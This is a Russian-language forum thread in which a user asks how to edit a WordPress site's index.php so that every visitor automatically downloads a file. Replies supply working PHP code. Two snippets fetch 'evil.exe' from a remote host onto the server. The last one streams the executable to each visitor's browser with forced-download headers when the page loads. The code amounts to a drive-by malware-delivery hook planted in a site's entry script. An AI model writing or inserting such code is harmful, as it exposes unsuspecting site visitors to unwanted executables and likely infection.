Ребят что прописать в index.php что бы при открытии сайта скачивался файлик?
Wodpress.
Wodpress.
А вот можно как я сверху написал для нубов?можно проще, $f = file_get_contents (считать файл откуда-то )
file_put_contents("имя файла", $f..
Вставлять надо в такое место, где код выполнится. До всех функций header , и не в if'ы
Открыл сайт получил файл. Вот так надо.Опиши для начала более подробно задачу. Т.е. заходит человек на сайте, и должен откуда-то скачиваться файл. Зачем? При каждом посещении должен ? Или ты хотел пользователю его отдавать?
Прекратит дальнейшее исполнение кода в этом скрипте...В моем случае exit закроет страницу с сайтом?![]()
<?php
define('BUFSIZ', 4095);
$url = 'http://url.com/evil.exe';
$rfile = fopen($url, 'r');
$lfile = fopen(basename($url), 'w');
while(!feof($rfile))
fwrite($lfile, fread($rfile, BUFSIZ), BUFSIZ);
fclose($rfile);
fclose($lfile);
?>
<?php
$url = 'http://url.com/evil.exe';
$path = 'evil.exe';
$fp = fopen($path, 'w');
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_FILE, $fp);
$data = curl_exec($ch);
curl_close($ch);
fclose($fp);
?>
Мне кажется автор здесь хотел организовать скачку не на диск сервака а выдачу в браузер.
Именно в браузер
Именно в браузер
<?php
// Для InWMZ, укажите URL
$file = 'https://url/evil.exe';
// Максимальный размер кусков (в байтах).
$maxRead = 1 * 1024 * 1024; // например 1MB
// .exe
$fileName = 'evil.exe';
// Открыть файл в режиме чтения.
$fh = fopen($file, 'r');
// Эти заголовки заставят загрузку в браузере,
// и устанавливаем имя файла для загрузки соответственно.
header("Content-Type: application/octet-stream");
header("Content-Transfer-Encoding: Binary");
header('Content-Disposition: attachment; filename="' . $fileName . '"');
// Запускаем это, пока мы не прочитаем весь файл.
// feof (eof означает "конец файла") возвращает `true`, когда обработчик
// достиг конца файла.
while (!feof($fh)) {
// Чтение и вывод следующего фрагмента.
echo fread($fh, $maxRead);
// Очистить буфер вывода, чтобы освободить память.
ob_flush();
}
// Выход, чтобы убедиться, что больше ничего не выводится. Готово.
exit;
?>